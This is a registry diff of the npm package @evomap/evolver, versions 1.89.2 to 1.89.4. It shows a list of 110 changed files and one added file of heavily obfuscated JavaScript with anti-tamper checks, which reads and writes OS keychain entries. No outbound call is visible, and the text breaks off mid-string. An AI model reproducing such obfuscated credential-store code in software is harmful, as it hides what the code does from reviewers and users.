@evomap/evolver 1.89.2 → 1.89.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (110) hide show
  1. package/.cursor/BUGBOT.md +182 -0
  2. package/.env.example +68 -0
  3. package/.git-commit-guard-token +1 -0
  4. package/.github/CODEOWNERS +63 -0
  5. package/.github/ISSUE_TEMPLATE/good_first_issue.md +23 -0
  6. package/.github/pull_request_template.md +45 -0
  7. package/.github/workflows/test.yml +75 -0
  8. package/CHANGELOG.md +1237 -0
  9. package/README.ja-JP.md +1 -3
  10. package/README.ko-KR.md +1 -3
  11. package/README.md +86 -530
  12. package/README.public.md +569 -0
  13. package/README.zh-CN.md +1 -3
  14. package/SECURITY.md +108 -0
  15. package/assets/gep/events.jsonl +3 -0
  16. package/assets/gep/genes.json +496 -0
  17. package/examples/atp-consumer-quickstart.md +100 -0
  18. package/examples/hello-world.md +38 -0
  19. package/index.js +44 -48
  20. package/package.json +6 -17
  21. package/proxy-package.json +39 -0
  22. package/public.manifest.json +143 -0
  23. package/src/adapters/hookAdapter.js +2 -0
  24. package/src/adapters/scripts/_lockPaths.js +74 -0
  25. package/src/adapters/scripts/evolver-session-start.js +19 -27
  26. package/src/config.js +23 -0
  27. package/src/evolve/guards.js +721 -1
  28. package/src/evolve/pipeline/collect.js +1283 -1
  29. package/src/evolve/pipeline/dispatch.js +421 -1
  30. package/src/evolve/pipeline/enrich.js +440 -1
  31. package/src/evolve/pipeline/hub.js +319 -1
  32. package/src/evolve/pipeline/select.js +274 -1
  33. package/src/evolve/pipeline/signals.js +206 -1
  34. package/src/evolve/utils.js +264 -1
  35. package/src/evolve.js +350 -1
  36. package/src/experiment/agentRunner.js +229 -0
  37. package/src/experiment/cli.js +159 -0
  38. package/src/experiment/comparison.js +233 -0
  39. package/src/experiment/metrics.js +75 -0
  40. package/src/forceUpdate.js +311 -30
  41. package/src/gep/a2aProtocol.js +4455 -1
  42. package/src/gep/antiAbuseTelemetry.js +233 -0
  43. package/src/gep/autoDistillConv.js +205 -1
  44. package/src/gep/autoDistillLlm.js +315 -1
  45. package/src/gep/candidateEval.js +92 -1
  46. package/src/gep/candidates.js +198 -1
  47. package/src/gep/contentHash.js +30 -1
  48. package/src/gep/conversationSniffer.js +266 -1
  49. package/src/gep/crypto.js +89 -1
  50. package/src/gep/curriculum.js +163 -1
  51. package/src/gep/deviceId.js +218 -1
  52. package/src/gep/envFingerprint.js +118 -1
  53. package/src/gep/epigenetics.js +31 -1
  54. package/src/gep/execBridge.js +711 -1
  55. package/src/gep/explore.js +289 -1
  56. package/src/gep/hash.js +15 -1
  57. package/src/gep/hubFetch.js +359 -1
  58. package/src/gep/hubReview.js +207 -1
  59. package/src/gep/hubSearch.js +526 -1
  60. package/src/gep/hubVerify.js +306 -1
  61. package/src/gep/learningSignals.js +89 -1
  62. package/src/gep/memoryGraph.js +1374 -1
  63. package/src/gep/memoryGraphAdapter.js +203 -1
  64. package/src/gep/mutation.js +203 -1
  65. package/src/gep/narrativeMemory.js +108 -1
  66. package/src/gep/openPRRegistry.js +205 -1
  67. package/src/gep/personality.js +423 -1
  68. package/src/gep/policyCheck.js +599 -1
  69. package/src/gep/prompt.js +836 -1
  70. package/src/gep/recallInject.js +409 -1
  71. package/src/gep/recallVerifier.js +318 -1
  72. package/src/gep/reflection.js +177 -1
  73. package/src/gep/sanitize.js +9 -0
  74. package/src/gep/selector.js +602 -1
  75. package/src/gep/skillDistiller.js +1294 -1
  76. package/src/gep/solidify.js +1699 -1
  77. package/src/gep/strategy.js +136 -1
  78. package/src/gep/tokenSavings.js +88 -1
  79. package/src/gep/validator/sandboxExecutor.js +29 -1
  80. package/src/gep/workspaceKeychain.js +174 -1
  81. package/src/proxy/extensions/traceControl.js +99 -1
  82. package/src/proxy/index.js +14 -5
  83. package/src/proxy/inject.js +52 -1
  84. package/src/proxy/lifecycle/manager.js +30 -0
  85. package/src/proxy/mailbox/store.js +2 -1
  86. package/src/proxy/router/messages_route.js +13 -2
  87. package/src/proxy/trace/extractor.js +646 -1
  88. package/src/proxy/trace/usage.js +105 -1
  89. package/CONTRIBUTING.md +0 -19
  90. package/assets/cover.png +0 -0
  91. package/assets/gep/genes.seed.json +0 -245
  92. package/scripts/a2a_export.js +0 -63
  93. package/scripts/a2a_ingest.js +0 -79
  94. package/scripts/a2a_promote.js +0 -118
  95. package/scripts/analyze_by_skill.js +0 -121
  96. package/scripts/build_binaries.js +0 -479
  97. package/scripts/check-changelog.js +0 -166
  98. package/scripts/extract_log.js +0 -85
  99. package/scripts/generate_history.js +0 -75
  100. package/scripts/gep_append_event.js +0 -96
  101. package/scripts/gep_personality_report.js +0 -234
  102. package/scripts/human_report.js +0 -147
  103. package/scripts/recall-verify-report.js +0 -234
  104. package/scripts/recover_loop.js +0 -61
  105. package/scripts/seed-merchants.js +0 -91
  106. package/scripts/suggest_version.js +0 -89
  107. package/scripts/validate-modules.js +0 -38
  108. package/scripts/validate-suite.js +0 -78
  109. package/skills/index.json +0 -14
  110. /package/{skills → bundled-skills}/_meta/SKILL.md +0 -0
@@ -1 +1,174 @@
1
- const _0x22b68d=_0xa7e3;function _0xa7e3(_0x448c37,_0xc143a9){_0x448c37=_0x448c37-(-0x14e7+-0x2*-0x9fd+0x182);const _0x321847=_0xfcf0();let _0x15a8d1=_0x321847[_0x448c37];if(_0xa7e3['\x66\x55\x76\x5a\x63\x62']===undefined){var _0x52cf7c=function(_0x507ae7){const _0x3e9539='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0xcaab11='',_0x53af04='',_0x2c3a6e=_0xcaab11+_0x52cf7c,_0xaa637d=(''+function(){return-0xf3d*0x2+-0x140b+0x59d*0x9;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')!==-(0x3*-0x740+-0xd4*-0x1b+-0x9b*0x1);for(let _0x18b3e4=0x1*-0x83+-0x440+0x1*0x4c3,_0xcb0039,_0x5dfbed,_0x5396c0=0x23*0xb4+0x1d*0x4c+-0x2138;_0x5dfbed=_0x507ae7['\x63\x68\x61\x72\x41\x74'](_0x5396c0++);~_0x5dfbed&&(_0xcb0039=_0x18b3e4%(-0x1a61*0x1+-0x1835+0x329a)?_0xcb0039*(0x1*0x13f+-0x3c*-0x5d+-0x3*0x799)+_0x5dfbed:_0x5dfbed,_0x18b3e4++%(-0xeab+-0x1*0x1017+-0x27*-0xca))?_0xcaab11+=_0xaa637d||_0x2c3a6e['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x5396c0+(-0x809*0x1+0x1996+-0x1*0x1183))-(-0x384*-0x7+0x6d*-0x47+-0xa1*-0x9)!==-0x981*0x1+-0x1*-0x1fdf+0x199*-0xe?String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](0x1*-0x262b+-0x2*-0x127d+-0x28*-0xe&_0xcb0039>>(-(0x6a*-0x1e+-0x268f+0x32fd)*_0x18b3e4&0x1*0x1c57+0x8d7*0x3+-0x36d6)):_0x18b3e4:0x223d+0x2498+0x46d5*-0x1){_0x5dfbed=_0x3e9539['\x69\x6e\x64\x65\x78\x4f\x66'](_0x5dfbed);}for(let _0x473adc=0x1*0x1c7c+-0x6b*0x55+0x70b,_0x484978=_0xcaab11['\x6c\x65\x6e\x67\x74\x68'];_0x473adc<_0x484978;_0x473adc++){_0x53af04+='\x25'+('\x30\x30'+_0xcaab11['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x473adc)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](-0x1a28+-0xf56+0x12*0x24f))['\x73\x6c\x69\x63\x65'](-(0x26c0+-0x1f15*-0x1+0x45d3*-0x1));}return decodeURIComponent(_0x53af04);};const _0x292f24=function(_0x16bf45,_0x23e538){let _0x44e153=[],_0x55784b=0x305*0x5+0x7c0+0x16d9*-0x1,_0x5cebb0,_0xb44918='';_0x16bf45=_0x52cf7c(_0x16bf45);let _0x391f9b;for(_0x391f9b=0x96d*-0x3+-0x432*0x3+0x28dd;_0x391f9b<0x1*0x22a3+0x11e4+-0x3*0x112d;_0x391f9b++){_0x44e153[_0x391f9b]=_0x391f9b;}for(_0x391f9b=0x2416+0x1*0x345+0x275b*-0x1;_0x391f9b<-0x25dd+-0x109f*-0x1+0x3b5*0x6;_0x391f9b++){_0x55784b=(_0x55784b+_0x44e153[_0x391f9b]+_0x23e538['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x391f9b%_0x23e538['\x6c\x65\x6e\x67\x74\x68']))%(0x67*-0x4f+-0x59d*-0x5+0x4b8),_0x5cebb0=_0x44e153[_0x391f9b],_0x44e153[_0x391f9b]=_0x44e153[_0x55784b],_0x44e153[_0x55784b]=_0x5cebb0;}_0x391f9b=0x147e+-0x1d4d+0x8cf,_0x55784b=-0xd53+0x9*-0x43b+0x3366;for(let _0x1204f7=0x2141+0x1*0xd67+0x8*-0x5d5;_0x1204f7<_0x16bf45['\x6c\x65\x6e\x67\x74\x68'];_0x1204f7++){_0x391f9b=(_0x391f9b+(0xe05+0x1*-0xcd6+-0x12e))%(-0x11ce+0x191a+0x7c*-0xd),_0x55784b=(_0x55784b+_0x44e153[_0x391f9b])%(-0x1a09*0x1+0x967*0x3+-0xa*0x1e),_0x5cebb0=_0x44e153[_0x391f9b],_0x44e153[_0x391f9b]=_0x44e153[_0x55784b],_0x44e153[_0x55784b]=_0x5cebb0,_0xb44918+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x16bf45['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x1204f7)^_0x44e153[(_0x44e153[_0x391f9b]+_0x44e153[_0x55784b])%(-0x1*0x19ca+-0x88*-0x3+-0x285*-0xa)]);}return _0xb44918;};_0xa7e3['\x53\x66\x49\x51\x51\x6f']=_0x292f24,_0xa7e3['\x76\x78\x65\x45\x6a\x57']={},_0xa7e3['\x66\x55\x76\x5a\x63\x62']=!![];}const _0x111b05=_0x321847[-0x18*-0x194+0x1c0d+0x96b*-0x7],_0x4204dc=_0x448c37+_0x111b05,_0x58bdac=_0xa7e3['\x76\x78\x65\x45\x6a\x57'][_0x4204dc];if(!_0x58bdac){if(_0xa7e3['\x72\x71\x58\x61\x47\x43']===undefined){const _0x5d801c=function(_0x4582f4){this['\x52\x45\x49\x68\x56\x51']=_0x4582f4,this['\x52\x64\x67\x67\x4e\x6c']=[-0x20ae+0x50c+0x1ba3,-0x2589+-0x229+0x1*0x27b2,0x5*-0x255+-0x33*0x24+0x1*0x12d5],this['\x41\x65\x54\x53\x68\x55']=function(){return'\x6e\x65\x77\x53\x74\x61\x74\x65';},this['\x72\x48\x53\x6a\x6a\x78']='\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a',this['\x5a\x50\x71\x79\x76\x55']='\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d';};_0x5d801c['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x4c\x4a\x6e\x6e\x52\x6b']=function(){const _0x5910b7=new RegExp(this['\x72\x48\x53\x6a\x6a\x78']+this['\x5a\x50\x71\x79\x76\x55']),_0x13a3d7=_0x5910b7['\x74\x65\x73\x74'](this['\x41\x65\x54\x53\x68\x55']['\x74\x6f\x53\x74\x72\x69\x6e\x67']())?--this['\x52\x64\x67\x67\x4e\x6c'][0x3*0x679+0xd*0xda+0xf3e*-0x2]:--this['\x52\x64\x67\x67\x4e\x6c'][0x1065*0x2+0x1ef5+-0x3fbf];return this['\x58\x4f\x6a\x73\x4c\x64'](_0x13a3d7);},_0x5d801c['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x58\x4f\x6a\x73\x4c\x64']=function(_0x51edd1){if(!Boolean(~_0x51edd1))return _0x51edd1;return this['\x67\x70\x65\x47\x58\x44'](this['\x52\x45\x49\x68\x56\x51']);},_0x5d801c['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x67\x70\x65\x47\x58\x44']=function(_0x1b27bf){for(let _0x5e4523=0x11*0x24a+0x1*0x126c+0xb3*-0x52,_0x51dac3=this['\x52\x64\x67\x67\x4e\x6c']['\x6c\x65\x6e\x67\x74\x68'];_0x5e4523<_0x51dac3;_0x5e4523++){this['\x52\x64\x67\x67\x4e\x6c']['\x70\x75\x73\x68'](Math['\x72\x6f\x75\x6e\x64'](Math['\x72\x61\x6e\x64\x6f\x6d']())),_0x51dac3=this['\x52\x64\x67\x67\x4e\x6c']['\x6c\x65\x6e\x67\x74\x68'];}return _0x1b27bf(this['\x52\x64\x67\x67\x4e\x6c'][-0xb23+0xab*-0x2f+0x2a88]);},(''+function(){return 0xbd+-0x178b+0x342*0x7;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')===-(-0x8c3*-0x4+0x4*-0x722+-0x683)&&new _0x5d801c(_0xa7e3)['\x4c\x4a\x6e\x6e\x52\x6b'](),_0xa7e3['\x72\x71\x58\x61\x47\x43']=!![];}_0x15a8d1=_0xa7e3['\x53\x66\x49\x51\x51\x6f'](_0x15a8d1,_0xc143a9),_0xa7e3['\x76\x78\x65\x45\x6a\x57'][_0x4204dc]=_0x15a8d1;}else _0x15a8d1=_0x58bdac;return _0x15a8d1;}(function(_0x280e29,_0x53979c){const _0x5a7f40=_0xa7e3,_0x185b7b=_0x280e29();while(!![]){try{const _0xc3e69a=parseInt(_0x5a7f40(0xa2,'\x41\x70\x71\x36'))/(-0x94*0x29+0x2*-0x1e8+0x1b85)+parseInt(_0x5a7f40(0xd5,'\x7a\x74\x55\x59'))/(0x11*-0x223+-0x10f8+0x354d)+-parseInt(_0x5a7f40(0xdf,'\x6d\x73\x46\x5a'))/(0x1*0x1d75+-0x13*-0x157+-0x36e7)+parseInt(_0x5a7f40(0xf7,'\x4c\x51\x29\x51'))/(-0xb*-0x232+-0x737*0x1+-0x10eb)+parseInt(_0x5a7f40(0xb3,'\x73\x28\x70\x71'))/(-0x99c+0xf1*0x25+0x4*-0x64d)*(-parseInt(_0x5a7f40(0xec,'\x67\x56\x23\x59'))/(-0x71a*-0x1+-0x1*-0x58f+-0x5*0x287))+-parseInt(_0x5a7f40(0xa1,'\x6d\x75\x75\x25'))/(-0xb99*-0x2+0x1*-0xed5+-0x856)+-parseInt(_0x5a7f40(0x9e,'\x45\x4a\x43\x43'))/(-0x238e+-0x392+0x2728*0x1)*(-parseInt(_0x5a7f40(0xfb,'\x74\x6b\x78\x31'))/(0x2556+-0x1fbc+0xf*-0x5f));if(_0xc3e69a===_0x53979c)break;else _0x185b7b['push'](_0x185b7b['shift']());}catch(_0x2d0cea){_0x185b7b['push'](_0x185b7b['shift']());}}}(_0xfcf0,-0xe930e+-0xef83c+0x8ecb*0x4e));const _0x8f1352=(function(){const _0x58a81a=_0xa7e3,_0x5c59df={};_0x5c59df[_0x58a81a(0xaa,'\x79\x54\x4c\x62')]=function(_0x15fb8e,_0x274746){return _0x15fb8e===_0x274746;},_0x5c59df['\x79\x6f\x74\x53\x46']=_0x58a81a(0x100,'\x38\x59\x26\x78');const _0x3ca659=_0x5c59df;let _0x2d3669=!![];return function(_0x33a9b4,_0x1c3c0d){const _0x4bc63a=_0x58a81a;if(_0x3ca659[_0x4bc63a(0xa3,'\x63\x44\x74\x6b')](_0x3ca659[_0x4bc63a(0xa5,'\x58\x51\x79\x65')],_0x3ca659[_0x4bc63a(0xe1,'\x79\x37\x67\x7a')])){const _0x275cf7=_0x2d3669?function(){const _0x2df2b5=_0x4bc63a;if(_0x1c3c0d){const _0x2c6755=_0x1c3c0d[_0x2df2b5(0xaf,'\x42\x61\x53\x4b')](_0x33a9b4,arguments);return _0x1c3c0d=null,_0x2c6755;}}:function(){};return _0x2d3669=![],_0x275cf7;}else return![];};}()),_0x5509c6=_0x8f1352(this,function(){const _0x215212=_0xa7e3,_0x1c76d3={};_0x1c76d3['\x67\x6f\x5a\x4d\x4b']=_0x215212(0xc5,'\x50\x58\x69\x49')+_0x215212(0xe3,'\x35\x72\x62\x4d');const _0x42d66a=_0x1c76d3;return _0x5509c6[_0x215212(0xc8,'\x5d\x36\x57\x5a')]()[_0x215212(0xeb,'\x62\x43\x70\x53')](_0x42d66a[_0x215212(0xfa,'\x63\x44\x74\x6b')])['\x74\x6f\x53\x74\x72\x69\x6e\x67']()[_0x215212(0xc0,'\x6a\x4c\x6e\x21')+_0x215212(0xb8,'\x79\x37\x67\x7a')](_0x5509c6)[_0x215212(0xfd,'\x45\x4a\x43\x43')](_0x42d66a[_0x215212(0xf4,'\x38\x4d\x59\x37')]);});_0x5509c6();const _0x2e1b4f=_0x22b68d(0xc1,'\x45\x25\x4f\x34')+_0x22b68d(0xa4,'\x26\x24\x4f\x70')+_0x22b68d(0xf6,'\x35\x72\x62\x4d')+_0x22b68d(0xdd,'\x36\x70\x71\x24'),_0x42d7dd=/^[a-f0-9]{32,}$/i;let _0x27fa74=undefined;function _0x22370b(){const _0x502da7=_0x22b68d,_0xc1f217={};_0xc1f217[_0x502da7(0xd4,'\x53\x4d\x6b\x4f')]=function(_0x3414f2,_0x5625c6){return _0x3414f2!==_0x5625c6;},_0xc1f217[_0x502da7(0xf2,'\x45\x28\x55\x65')]=function(_0x1f2ff7,_0x63d34c){return _0x1f2ff7===_0x63d34c;},_0xc1f217[_0x502da7(0xa9,'\x4b\x4d\x6e\x21')]=_0x502da7(0xc4,'\x45\x4a\x43\x43'),_0xc1f217[_0x502da7(0x9f,'\x5e\x77\x2a\x39')]=_0x502da7(0xb7,'\x79\x37\x67\x7a');const _0x4133ad=_0xc1f217;if(_0x4133ad[_0x502da7(0x9a,'\x64\x34\x61\x79')](_0x27fa74,undefined))return _0x27fa74;try{if(_0x4133ad[_0x502da7(0xac,'\x6a\x5a\x31\x75')](_0x502da7(0xd7,'\x45\x40\x46\x38'),_0x4133ad[_0x502da7(0xae,'\x5a\x5e\x46\x4c')])){const _0x176276=new _0x421d61[(_0x502da7(0xa6,'\x5d\x61\x76\x4c'))](_0x3925ce,_0x33bd14);return _0x176276[_0x502da7(0xcf,'\x45\x4a\x43\x43')+_0x502da7(0xce,'\x33\x43\x52\x6a')](_0x48e83b),!![];}else{const _0x3ff2d9=require(_0x502da7(0xd9,'\x29\x51\x49\x4d')+_0x502da7(0x95,'\x4c\x79\x45\x68'));if(_0x3ff2d9&&_0x4133ad[_0x502da7(0x104,'\x6d\x73\x46\x5a')](typeof _0x3ff2d9[_0x502da7(0xe7,'\x79\x37\x67\x7a')],_0x4133ad[_0x502da7(0xed,'\x41\x28\x62\x5d')]))return _0x27fa74=_0x3ff2d9,_0x27fa74;return _0x27fa74=null,null;}}catch{return _0x27fa74=null,null;}}function _0x27e296(){const _0x3eb858=_0x22b68d,_0x464aab={'\x50\x74\x6d\x4e\x68':function(_0xde2485,_0x5691ac){return _0xde2485(_0x5691ac);},'\x4d\x70\x63\x73\x41':_0x3eb858(0xfe,'\x50\x58\x69\x49'),'\x51\x48\x76\x46\x68':function(_0x328712,_0x277e3f){return _0x328712===_0x277e3f;},'\x47\x67\x67\x6f\x5a':_0x3eb858(0xb4,'\x4c\x79\x45\x68'),'\x52\x63\x6b\x6b\x4b':function(_0xb70905,_0x1d51d1){return _0xb70905===_0x1d51d1;}},_0x20b6d6=_0x464aab[_0x3eb858(0x9b,'\x28\x40\x67\x62')](String,process.env.EVOLVER_WORKSPACE_KEYCHAIN||_0x464aab[_0x3eb858(0xc3,'\x79\x4e\x4e\x21')])[_0x3eb858(0xf8,'\x4b\x40\x26\x48')+_0x3eb858(0xde,'\x41\x70\x71\x36')]()[_0x3eb858(0xe4,'\x74\x6b\x78\x31')]();if(_0x464aab[_0x3eb858(0x102,'\x64\x34\x61\x79')](_0x20b6d6,_0x3eb858(0x103,'\x5d\x36\x57\x5a'))||_0x464aab[_0x3eb858(0xf9,'\x62\x63\x32\x43')](_0x20b6d6,_0x464aab['\x47\x67\x67\x6f\x5a'])||_0x464aab[_0x3eb858(0xe9,'\x33\x43\x52\x6a')](_0x20b6d6,_0x464aab[_0x3eb858(0xdc,'\x73\x28\x70\x71')]))return _0x20b6d6;return _0x3eb858(0x99,'\x38\x59\x26\x78');}const _0x5b8333=[/no\s+matching\s+entry/i,/could\s+not\s+be\s+found/i,/element\s+not\s+found/i,/\bnoentry\b/i,/\bno\s*entry\b/i,/not\s+found\s+in\s+(?:secure|keychain)/i];function _0xad197(_0x532323){const _0x5f05fc=_0x22b68d,_0x4fb0e6=_0x532323&&_0x532323[_0x5f05fc(0xe8,'\x5e\x77\x2a\x39')]||'';return _0x5b8333[_0x5f05fc(0xda,'\x42\x37\x75\x43')](_0x2dfdf8=>_0x2dfdf8[_0x5f05fc(0x9c,'\x79\x37\x67\x7a')](_0x4fb0e6));}function _0x54cb7b(_0x163497){const _0x188486=_0x22b68d,_0x127d34={'\x4c\x4b\x7a\x59\x4f':function(_0x3c40cc,_0x6c9584){return _0x3c40cc!==_0x6c9584;},'\x79\x6d\x46\x4c\x4c':function(_0x335bc8,_0x245518){return _0x335bc8(_0x245518);},'\x4b\x75\x71\x42\x77':'\x40\x6e\x61\x70\x69\x2d\x72\x73'+'\x2f\x6b\x65\x79\x72\x69\x6e\x67','\x49\x4f\x43\x62\x61':function(_0x4bda9b,_0xb6f5cb){return _0x4bda9b===_0xb6f5cb;},'\x57\x64\x46\x6c\x6c':_0x188486(0x101,'\x42\x61\x53\x4b'),'\x44\x51\x43\x71\x51':'\x73\x74\x72\x69\x6e\x67','\x48\x5a\x5a\x4c\x6a':_0x188486(0xff,'\x35\x72\x62\x4d'),'\x56\x56\x48\x4f\x55':_0x188486(0xc7,'\x77\x35\x34\x46'),'\x79\x4c\x6c\x58\x6a':function(_0x165038,_0x910bbc){return _0x165038(_0x910bbc);}},_0x412eab=_0x22370b(),_0x182018={};_0x182018[_0x188486(0xcb,'\x79\x4e\x4e\x21')+'\x65']=![],_0x182018['\x69\x64']=null;if(!_0x412eab)return _0x182018;try{const _0x558b33=new _0x412eab[(_0x188486(0xb5,'\x73\x28\x70\x71'))](_0x2e1b4f,_0x163497),_0x971c25=_0x558b33[_0x188486(0xbd,'\x62\x63\x32\x43')+_0x188486(0xd1,'\x4c\x79\x45\x68')]();if(_0x127d34[_0x188486(0xef,'\x42\x37\x75\x43')](typeof _0x971c25,_0x127d34[_0x188486(0xcc,'\x6f\x67\x5a\x35')])&&_0x42d7dd[_0x188486(0xf0,'\x6f\x31\x76\x37')](_0x971c25[_0x188486(0xa0,'\x4b\x4d\x6e\x21')]()))return{'\x61\x76\x61\x69\x6c\x61\x62\x6c\x65':!![],'\x69\x64':_0x971c25[_0x188486(0xa8,'\x5d\x61\x76\x4c')]()};const _0x243b76={};return _0x243b76[_0x188486(0xca,'\x53\x4d\x6b\x4f')+'\x65']=!![],_0x243b76['\x69\x64']=null,_0x243b76;}catch(_0x2a7635){if(_0x127d34[_0x188486(0xbe,'\x53\x4d\x6b\x4f')](_0x127d34[_0x188486(0x97,'\x45\x28\x55\x65')],_0x127d34[_0x188486(0x9d,'\x45\x4a\x43\x43')])){if(dIypkt[_0x188486(0xb1,'\x79\x4e\x4e\x21')](_0x144f4f,_0x390d69))return _0x338612;try{const _0x4388c4=dIypkt[_0x188486(0xd8,'\x5d\x36\x57\x5a')](_0x4147fe,dIypkt[_0x188486(0xfc,'\x50\x58\x69\x49')]);if(_0x4388c4&&dIypkt[_0x188486(0xbf,'\x68\x55\x75\x36')](typeof _0x4388c4[_0x188486(0xbc,'\x26\x24\x4f\x70')],dIypkt[_0x188486(0xd6,'\x4c\x51\x29\x51')]))return _0x348634=_0x4388c4,_0x3906cf;return _0x1224dc=null,null;}catch{return _0x1035d3=null,null;}}else{const _0x4eae9c={};_0x4eae9c[_0x188486(0xb0,'\x29\x51\x49\x4d')+'\x65']=!![],_0x4eae9c['\x69\x64']=null;if(_0x127d34[_0x188486(0x96,'\x6d\x73\x46\x5a')](_0xad197,_0x2a7635))return _0x4eae9c;const _0x4a7cd8={};return _0x4a7cd8[_0x188486(0xb9,'\x45\x40\x46\x38')+'\x65']=![],_0x4a7cd8['\x69\x64']=null,_0x4a7cd8;}}}function _0xff425e(_0x560d76,_0x192c16){const _0x12cb49=_0x22b68d,_0x49b543={'\x6e\x42\x52\x6b\x4e':function(_0x55090b){return _0x55090b();},'\x74\x4f\x56\x50\x67':function(_0x1f5d73,_0x3cc0a6){return _0x1f5d73===_0x3cc0a6;},'\x66\x41\x45\x74\x79':_0x12cb49(0xe2,'\x79\x54\x4c\x62')},_0x18678e=_0x49b543[_0x12cb49(0xf5,'\x29\x51\x49\x4d')](_0x22370b);if(!_0x18678e)return![];try{if(_0x49b543[_0x12cb49(0xe0,'\x4e\x29\x46\x36')](_0x49b543[_0x12cb49(0xcd,'\x79\x37\x67\x7a')],_0x49b543[_0x12cb49(0xb6,'\x42\x61\x53\x4b')])){const _0x3faffe=new _0x18678e[(_0x12cb49(0xad,'\x77\x35\x34\x46'))](_0x2e1b4f,_0x560d76);return _0x3faffe[_0x12cb49(0xc9,'\x6a\x5a\x31\x75')+_0x12cb49(0xab,'\x62\x43\x70\x53')](_0x192c16),!![];}else{const _0x1985fd={};_0x1985fd[_0x12cb49(0xe5,'\x41\x70\x71\x36')+'\x65']=!![],_0x1985fd['\x69\x64']=null;if(_0x4540f6(_0x4325ef))return _0x1985fd;const _0x4b1435={};return _0x4b1435[_0x12cb49(0x98,'\x33\x43\x52\x6a')+'\x65']=![],_0x4b1435['\x69\x64']=null,_0x4b1435;}}catch{return![];}}const _0x3d7375={};function _0xfcf0(){const _0x47ac84=['\x57\x37\x74\x64\x4a\x43\x6b\x72\x57\x34\x72\x6f\x57\x50\x46\x63\x47\x6d\x6f\x77','\x43\x43\x6f\x41\x57\x51\x70\x63\x4a\x47','\x57\x50\x69\x57\x57\x52\x4e\x64\x4b\x6d\x6b\x33','\x6a\x6d\x6b\x2b\x57\x36\x33\x63\x55\x53\x6f\x37','\x57\x35\x61\x49\x61\x38\x6f\x7a','\x57\x51\x4a\x63\x4e\x76\x71\x75\x57\x34\x4f','\x57\x34\x52\x64\x55\x33\x47\x35\x57\x36\x4a\x64\x52\x6d\x6f\x2b\x57\x4f\x69','\x73\x38\x6b\x46\x75\x74\x33\x64\x50\x61','\x57\x51\x6e\x72\x43\x4e\x65','\x57\x50\x31\x39\x57\x36\x47\x47\x65\x38\x6b\x32\x42\x78\x74\x64\x4e\x59\x31\x75\x6e\x48\x57','\x46\x66\x46\x63\x56\x63\x47\x51\x65\x65\x50\x7a\x42\x53\x6f\x6c\x57\x36\x4a\x63\x53\x6d\x6b\x32','\x6b\x4d\x78\x63\x4a\x6d\x6b\x6d\x64\x71','\x57\x34\x71\x32\x65\x53\x6f\x52\x57\x35\x47\x6f\x73\x31\x53','\x66\x43\x6b\x66\x57\x52\x75\x6f\x63\x57','\x57\x52\x72\x69\x57\x4f\x54\x6e\x6e\x57','\x57\x36\x38\x63\x6b\x43\x6f\x55\x79\x63\x4a\x63\x4e\x67\x61','\x57\x4f\x76\x75\x57\x50\x7a\x73','\x57\x4f\x6e\x41\x46\x78\x6c\x63\x56\x71','\x70\x73\x31\x6e\x78\x38\x6b\x66','\x57\x52\x76\x4d\x64\x57','\x42\x63\x42\x63\x4f\x6d\x6b\x74\x76\x71','\x57\x52\x68\x63\x4c\x53\x6f\x37\x57\x4f\x70\x64\x48\x57','\x57\x36\x58\x67\x71\x43\x6f\x2f\x57\x36\x47','\x77\x38\x6f\x62\x79\x4a\x68\x63\x4b\x47','\x57\x36\x61\x74\x57\x35\x75\x31\x57\x52\x69\x43\x6e\x38\x6b\x77','\x71\x4c\x50\x42\x57\x4f\x6c\x64\x56\x61','\x57\x50\x78\x63\x51\x53\x6b\x4b\x45\x68\x6c\x64\x48\x43\x6f\x69\x70\x58\x75\x49\x46\x43\x6b\x4b\x6b\x57','\x42\x38\x6f\x79\x67\x77\x50\x7a\x7a\x76\x43','\x77\x68\x50\x4c','\x68\x38\x6f\x64\x6a\x68\x6e\x52','\x78\x6d\x6f\x57\x76\x59\x4e\x63\x4b\x47','\x57\x34\x69\x59\x68\x53\x6f\x6f\x78\x61\x64\x63\x55\x4b\x61','\x57\x35\x61\x4f\x61\x47','\x57\x50\x38\x37\x42\x6d\x6f\x39\x73\x65\x34\x49\x6b\x61','\x57\x36\x62\x4b\x57\x51\x42\x63\x53\x58\x33\x64\x47\x71\x43\x50\x57\x50\x56\x64\x51\x62\x64\x64\x4f\x76\x38','\x57\x36\x6e\x4d\x57\x51\x64\x63\x55\x48\x78\x64\x49\x71\x79\x30\x57\x52\x70\x64\x47\x58\x56\x64\x4b\x33\x34','\x57\x37\x43\x33\x63\x53\x6f\x56\x57\x34\x71','\x57\x52\x68\x64\x52\x53\x6f\x4b\x6a\x38\x6b\x4b\x67\x76\x30\x58','\x57\x4f\x64\x63\x51\x6d\x6f\x69\x57\x37\x37\x63\x4c\x61','\x57\x52\x66\x78\x77\x65\x65\x44','\x57\x51\x68\x64\x4c\x48\x66\x6a\x64\x43\x6b\x6f\x57\x36\x4c\x68','\x57\x52\x71\x47\x57\x37\x4e\x64\x50\x4b\x5a\x63\x49\x72\x57\x64','\x79\x5